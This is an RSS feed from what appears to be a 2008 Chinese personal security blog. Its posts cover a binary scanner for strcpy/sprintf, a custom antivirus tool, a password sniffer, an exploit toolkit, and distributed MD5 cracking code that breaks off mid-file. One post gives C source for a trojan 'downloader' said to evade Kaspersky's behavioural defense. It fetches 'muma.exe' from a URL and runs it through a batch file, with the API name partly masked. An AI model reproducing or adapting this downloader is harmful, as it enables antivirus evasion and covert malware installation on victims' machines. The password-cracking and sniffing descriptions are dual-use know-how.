<![CDATA[Friddy's罐子 - 个人软件]]> http://www.friddy.cn/ zh-cn PBlog2 v2.4 Friddy's罐子 http://www.friddy.cn/images/logos.gif http://www.friddy.cn/ Friddy's罐子 http://www.friddy.cn/article.asp?id=56 <![CDATA[Common Vulnerabilities Scanner]]> root@friddy.cn(friddy) Wed,03 Dec 2008 16:04:26 +0800 http://www.friddy.cn/default.asp?id=56 /*
Common Vulnerabilities Scanner By Friddy
QQ:568623
Email:qianyang#ssyeah.com
*/
#include <stdio.h>
#include <string.h>
#include <io.h>
#include <fstream.h>
#include <IOSTREAM.h>

int nFileNum;
char str[1000000]={0};
char char_strcpy[100]="\x24\x18\xF2\xAE\xF7\xD1\x2B\xF9\x8B\xC1\x8B\xF7\x8B\xFA\xC1\xE9";//Strcpy的机器码
char char_sprintf[100]="\x55\x8B\xEC\x83\xEC\x20\x8B\x45\x08\x56\x89\x45\xE8\x89\x45\xE0";//sprintf的机器码
int scanbugfile(char* strFileName){
memset(str,1000000,0);
fstream file(strFileName,ios::in|ios::binary);
char *p;
long i=0;
char s;
while(1){
file.read((char *)&s,sizeof(s));
if(i>1000000) return 0;
if(!file)break;
str[i]=s;
i++;
}
for(long j=0;j<=i;j++){
    if(memcmp(str+j,char_strcpy,16)==0){printf("fit:%s  exist strcpy on line%x\n",strFileName,i);}
}
for(j=0;j<=i;j++){
    if(memcmp(str+j,char_sprintf,16)==0){printf("fit:%s  exist sprintf on line%x\n",strFileName,i);}
}
return 0;
}


// 函数功能：浏览文件
void scanfile(char* pPath, char* pName)
{
char strFileName[256];

nFileNum++;
strcpy(strFileName, pPath);
strcat(strFileName, pName);
//printf("%s\n", strFileName);//文件的名字
scanbugfile(strFileName);
}

// 函数功能：浏览目录，递归
void scandir(char *strCurPath)
{
char strTemp[2048];
struct _finddata_t ffblk;
int nReturn = 0;

strcpy(strTemp, strCurPath);
strcat(strTemp, "*.*");

long lHandle = long(_findfirst(strTemp, &ffblk));
while (lHandle != -1 && nReturn != -1)
{
  if(strcmp(ffblk.name, ".") == 0 || strcmp(ffblk.name, "..") == 0)
  {
   nReturn = _findnext(lHandle, &ffblk);
   continue;
  }

  if (ffblk.attrib & _A_SUBDIR)
  {
   // Is Dir
   strcpy(strTemp, strCurPath);
   strcat(strTemp, ffblk.name);
   strcat(strTemp, "\\");
   scandir(strTemp);
  }
  else
  {
   // Is File
   scanfile(strCurPath, ffblk.name);
  }
  nReturn = _findnext(lHandle, &ffblk);
}
_findclose(lHandle);
}


void main()
{
nFileNum = 0;
scandir("c:\\test\\");//扫描目录
printf("\nTotal files: %d\n", nFileNum);
}
]]> http://www.friddy.cn/article.asp?id=20 <![CDATA[Special AntiVirus Scan Tool V1.0.0.4 杀毒软件]]> root@friddy.cn(friddy) Thu,11 Sep 2008 11:20:23 +0800 http://www.friddy.cn/default.asp?id=20
Special AntiVirus Scan Tool是一款可以通过自己定义病毒库的专杀辅助工具，可以根据自己捕获的样本和病毒特征自行定制一个专杀工具，这不，我就用这个工具给大家执行DIY了一个“AV终结者”的不完全专杀工具模版，所谓不完全就是没有添加完整的AV终结者病毒库，我只将AV终结者在注册表里写入的166个恶意键值添加到删除列表里了，其他的需要自行根据自己发现的变种添加病毒定义库。


下载文件 点击下载此文件

]]> http://www.friddy.cn/article.asp?id=18 <![CDATA[绕过卡巴主动防御策略的下载者]]> root@friddy.cn(friddy) Thu,11 Sep 2008 11:12:32 +0800 http://www.friddy.cn/default.asp?id=18
新的思路：文件下载a.exe->写run.bat->运行run.bat（不判断为下载者）

##不提供下载，程序关键部分已经修改##

刑法第２８５条规定，违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。

刑法修正案（七）在刑法第２８５条中增加两款（第二款、第三款）：

“违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。”

“提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。”


/*

Author: Friddy
Email:qianyang@ssyeah.com
QQ:568623
*/

#include "stdafx.h"
#include <iostream.h>
#include <fstream.h>
#include <UrlMon.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "urlmon.lib")

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{ char muma[]="http://www.friddy.cn/muma.exe";
  // TODO: Place code here.
while(true){
HRESULT hr = URLDownloadToXXXXXXXXX(0, muma,"C:\\ma.exe", 0,NULL);
if (hr== S_OK)
{  const char filename[] = "c:\\vir.bat";
  ofstream o_file;
  o_file.open(filename);
  o_file <<"echo off"<<endl;
  o_file <<"C:\\ma.exe"<<endl;
  o_file.close();
  WinExec("C:\\vir.bat",0);
return 0;
Sleep(10000);
}
}
return 0;
}
]]> http://www.friddy.cn/article.asp?id=2 <![CDATA[FTP、POP3密码嗅探器]]> root@friddy.cn(friddy) Thu,11 Sep 2008 10:14:10 +0800 http://www.friddy.cn/default.asp?id=2
用来嗅探POP3、FTP密码，不需要PCAP的支持，密码直接记录在C:\ftp.log

 ##不提供下载##

刑法第２８５条规定，违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。

刑法修正案（七）在刑法第２８５条中增加两款（第二款、第三款）：

“违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。”

“提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。”

 

]]> http://www.friddy.cn/article.asp?id=1 <![CDATA[Freesecurity]]> root@friddy.cn(friddy) Thu,11 Sep 2008 10:08:02 +0800 http://www.friddy.cn/default.asp?id=1

现在这个软件已经集成了asp+MSSQL+Access,PHP+MySQL,JSP+Oracle等常见的网页脚本与数据库的漏洞检测功能。附加了MD5 密码的字典破解，可用于密码的复杂与可爆破性的检验。同时加入了Win2k/XP/2003的远程溢出漏洞的检测和常见软件的漏洞检测与利用。
PS:
1.exploits文件夹下全部是漏洞利用工具，会被杀毒软件监测为病毒或者木马，这是正常现象，使用前请关闭防火墙 @_@
2.本软件基于Visual Studio.net编写,请安装Microsoft .Net Framework 1.0以上升级包否则无法使用

 

 ##不提供下载##

刑法第２８５条规定，违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。

刑法修正案（七）在刑法第２８５条中增加两款（第二款、第三款）：

“违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。”

“提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。”

 

 

]]> http://www.friddy.cn/article.asp?id=21 <![CDATA[自己设计的一个分布式破解MD5程序]]> root@friddy.cn(friddy) Wed,05 Apr 2006 11:24:44 +0800 http://www.friddy.cn/default.asp?id=21 我比较喜欢分布式计算，其实只要有1000台傀儡机，任何的密码的MD5的加密值用穷举法都是可以算的出来的。

    前些天晚上，我用C#写了个破解MD5的分布式程序，在四台笔记本联网计算，破解速度还是相当快的。

    现在我在KSS上面把代码公布，和大家分享下。呵呵！MD5没什么神秘的，只要由足够的电脑，1000台机器加起来，我的

    机器的主频就有3.0x10000GHz了！呵呵！就是一台超级计算机了！

    用了多线程，TCP/IP方式传数据，密码段分段破解方式，一台主机，可以由无数的分机来计算。

    完整的代码可以找我Friddy要，我的QQ:568623

    主机上面运行的程序代码：

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net.Sockets;
using System.Net;
using System.IO;
using System.Collections;
namespace distribute_client
{
     public partial class Form1 : Form
     {
         delegate void SetTextCallback(string text);
         public TcpClient rr;
         public NetworkStream stream;
         public setting new_setting;
        
         public Form1()
         {
             InitializeComponent();
             new_setting = new setting();
             new_setting.ShowDialog();
             connect_phone();
             Thread pc_get = new Thread(new ThreadStart(get_contact));
             pc_get.Start();
         }
         public void connect_phone()
         {

             try
             {

                 rr = new TcpClient(new_setting.ip, 33333);

                 stream = rr.GetStream();
             }

             catch (SocketException) { MessageBox.Show("与电脑连接设置错误！"); }

             finally { }

         }
         public void insert_start(long n)
         {
             Byte[] bytes1 = new Byte[512];
             bytes1 = System.Text.Encoding.GetEncoding("gb2312").GetBytes("[starts]" +n.ToString());
             stream.Write(bytes1, 0, bytes1.Length);
             label5.Text = "导入开始数字数据到远程成功！";


         }

  

         public void insert_end(long n)
         {
             Byte[] bytes3 = new Byte[512];
             bytes3 = System.Text.Encoding.GetEncoding("gb2312").GetBytes("[ends]" + n.ToString());
             stream.Write(bytes3, 0, bytes3.Length);
             label5.Text = "导入结束数据到远程成功！";

         }

         public void insert_code()
         {
             Byte[] bytes2 = new Byte[256];
             bytes2 = System.Text.Encoding.GetEncoding("gb2312").GetBytes("[code]" + textBox4.Text);
             stream.Write(bytes2, 0, bytes2.Length);
             label5.Text = "导入MD5数据到远程成功！";

         }

         private void button1_Click(object sender, EventArgs e)
         {
             insert_code();
          
          
             this.start_num = long.Parse(textBox1.Text);
             this.end_num = long.Parse(textBox2.Text) / 2;
            
            
          

            
         }

         public void insert_calc()
         {
             Byte[] bytes = new Byte[256];
             bytes = System.Text.Encoding.GetEncoding("gb2312").GetBytes("[calc]");
             stream.Write(bytes, 0, bytes.Length);
             label5.Text = "远程开始计算！";

         }

         public Thread this_calc;

         private void button2_Click(object sender, EventArgs e)
         {
             insert_calc();
            
             Thread.Sleep(1000);
             label5.Text = "服务器端计算线程开始！";
            this_calc=new Thread(new ThreadStart(me_start));
            this_calc.Priority = ThreadPriority.Highest;
             this_calc.Start();
         }

         public void get_contact()
         {

             Byte[] bytes_read = new Byte[256];
             int i;
             while ((i = stream.Read(bytes_read, 0, bytes_read.Length)) != 0)
             {
                 string datas = null;
                 datas = System.Text.Encoding.GetEncoding("gb2312").GetString(bytes_read, 0, i);
                 if (datas.StartsWith("[MD5OK]"))
                 {
                     datas = datas.Replace("[MD5OK]", "");
                    
                     remote_result = long.Parse(datas);
                     this_calc.Abort();
                     SetLabelText("服务器端计算线程结束！");
                     Thread.Sleep(1000);
                     SetLabelText("远程计算结果:" + datas);
                     Thread.Sleep(1000);
                     SetLabelText ("本次计算结果:" + datas);
                 }

                 if (datas.StartsWith("[Restart]"))
                 {
                     //insert_start();
                 }
              
             }


         }

         public long start_num;
         public long end_num;
         public long result;
         public long remote_result;

         public void me_start(){

             long temp = 0;
             int step = (int)(end_num - start_num) / 100;
             for (long t = start_num; t <= end_num; t++) {
                 if (textBox4.Text.Length == 16 && gethash(t.ToString())== textBox4.Text) { MessageBox.Show(t.ToString()); break; }
                 if (t % step == 0) { SetText(t.ToString()); }
             }
          
             result = temp;

             MessageBox.Show("本机线程结束！结果："+result.ToString());

         }

         public string gethash(string tobemd5)
         {

             try { return Encrypt(tobemd5, 16); }
             catch (ArgumentOutOfRangeException) { return "false!"; }

             finally { }



         }


         private void SetText(string text)//多线程中动态更新文本
         {

             if (this.textBox3.InvokeRequired)
             {
                 SetTextCallback d = new SetTextCallback(SetText);
                 this.Invoke(d, new object[] { text });
             }
             else
             {
                 this.textBox3.Text = text;

             }
         }

         private void SetLabelText(string text)//多线程中动态更新文本
         {

             if (this.label5.InvokeRequired)
             {
                 SetTextCallback d = new SetTextCallback(SetLabelText);
                 this.Invoke(d, new object[] { text });
             }
             else
             {
                 this.label5.Text = text;

             }
         }

         private void button3_Click(object sender, EventArgs e)
         {
             long result_end = this.result + remote_result;
             MessageBox.Show(result_end.ToString());
         }


         const int BITS_TO_A_BYTE = 8;
         const int BYTES_TO_A_WORD = 4;
         const int BITS_TO_A_WORD = 32;
         private static long[] m_lOnBits = new long[30 + 1];
         private static long[] m_l2Power = new long[30 + 1];

         private static long LShift(long lValue, long iShiftBits)
         {
             long LShift = 0;
             if (iShiftBits == 0)
             {
                 LShift = lValue;
                 return LShift;
             }
             else
             {
                 if (iShiftBits == 31)
                 {
                     if (Convert.ToBoolean(lValue & 1))
                     {
                         LShift = 0x80000000;
                     }
                     else
                     {
                         LShift = 0;
                     }
                     return LShift;
                 }
                 else
                 {
                     if (iShiftBits < 0 || iShiftBits > 31)
                     {
                         // Err.Raise 6;
                     }
                 }
             }

             if (Convert.ToBoolean((lValue & m_l2Power[31 - iShiftBits])))
             {
                 LShift = ((lValue & m_lOnBits[31 - (iShiftBits + 1)]) * m_l2Power[iShiftBits]) | 0x80000000;
             }
             else
             {
                 LShift = ((lValue & m_lOnBits[31 - iShiftBits]) * m_l2Power[iShiftBits]);
             }

             return LShift;
         }

private static long AddUnsigned(long lX, long lY)
         {
             long AddUnsigned = 0;
             long lX4 = 0;
             long lY4 = 0;
             long lX8 = 0;
             long lY8 = 0;
             long lResult = 0;

             lX8 = lX & 0x80000000;
             lY8 = lY & 0x80000000;
             lX4 = lX & 0x40000000;
             lY4 = lY & 0x40000000;

             lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
             if (Convert.ToBoolean(lX4 & lY4))
             {
                 lResult = lResult ^ 0x80000000 ^ lX8 ^ lY8;
             }
             else if (Convert.ToBoolean(lX4 | lY4))
             {
                 if (Convert.ToBoolean(lResult & 0x40000000))
                 {
                     lResult = lResult ^ 0xC0000000 ^ lX8 ^ lY8;
                 }
                 else
                 {
                     lResult = lResult ^ 0x40000000 ^ lX8 ^ lY8;
                 }
             }
             else
             {
                 lResult = lResult ^ lX8 ^ lY8;
             }
             AddUnsigned = lResult;
             return AddUnsigned;
         }

         private static long md5_F(long x, long y, long z)
         {
             long md5_F = 0;
             md5_F = (x & y) | ((~x) & z);
             return md5_F;
         }

         private static long md5_G(long x, long y, long z)
         {
             long md5_G = 0;
             md5_G = (x & z) | (y & (~z));
             return md5_G;
         }

         private static long md5_H(long x, long y, long z)
         {
             long md5_H = 0;
             md5_H = (x ^ y ^ z);
             return md5_H;
         }

         private static long md5_I(long x, long y, long z)
         {
             long md5_I = 0;
             md5_I = (y ^ (x | (~z)));
             return md5_I;
         }

         private static void md5_FF(ref long a, long b, long c, long d, long x, long s, long ac)
         {
             a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_F(b, c, d), x), ac));
             a = RotateLeft(a, s);
             a = AddUnsigned(a, b);
         }

         private static void md5_GG(ref long a, long b, long c, long d, long x, long s, long ac)
         {
             a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_G(b, c, d), x), ac));
             a = RotateLeft(a, s);
             a = AddUnsigned(a, b);
         }

         private static void md5_HH(ref long a, long b, long c, long d, long x, long s, long ac)
         {
             a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_H(b, c, d), x), ac));
             a = RotateLeft(a, s);
             a = AddUnsigned(a, b);
         }

         private static void md5_II(ref long a, long b, long c, long d, long x, long s, long ac)
         {
             a = AddUnsigned(a, AddUnsigned(AddUnsigned(md5_I(b, c, d), x), ac));
             a = RotateLeft(a, s);
             a = AddUnsigned(a, b);
         }

         private static long[] ConvertToWordArray(string sMessage)
         {
             long[] ConvertToWordArray = null;
             int lMessageLength = 0;
             int lNumberOfWords = 0;
             long[] lWordArray = null;
             int lBytePosition = 0;
             int lByteCount = 0;
             int lWordCount = 0;

             const int MODULUS_BITS = 512;
             const int CONGRUENT_BITS = 448;

             lMessageLength = sMessage.Length;
             lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) / BITS_TO_A_BYTE)) / (MODULUS_BITS / BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS

/ BITS_TO_A_WORD);
             lWordArray = new long[lNumberOfWords];

             lBytePosition = 0;
             lByteCount = 0;

             while (lByteCount < lMessageLength)
             {
                 lWordCount = lByteCount / BYTES_TO_A_WORD;
                 lBytePosition = (lByteCount % BYTES_TO_A_WORD) * BITS_TO_A_BYTE;
                 lWordArray[lWordCount] = lWordArray[lWordCount] | LShift(Convert.ToByte(sMessage.Substring(lByteCount, 1).ToCharArray()[0]), lBytePosition);
                 lByteCount = lByteCount + 1;
             }

             lWordCount = lByteCount / BYTES_TO_A_WORD;
             lBytePosition = (lByteCount % BYTES_TO_A_WORD) * BITS_TO_A_BYTE;
             lWordArray[lWordCount] = lWordArray[lWordCount] | LShift(0x80, lBytePosition);
             lWordArray[lNumberOfWords - 2] = LShift(lMessageLength, 3);
             lWordArray[lNumberOfWords - 1] = RShift(lMessageLength, 29);
             ConvertToWordArray = lWordArray;

             return ConvertToWordArray;
         }

         private static string WordToHex(long lValue)
         {
             string WordToHex = "";
             long lByte = 0;
             int lCount = 0;
             for (lCount = 0; lCount <= 3; lCount++)
             {
                 lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) & m_lOnBits[BITS_TO_A_BYTE - 1];
                 WordToHex = WordToHex + (("0" + ToHex(lByte)).Substring(("0" + ToHex(lByte)).Length - 2));
             }
             return WordToHex;
         }
]]>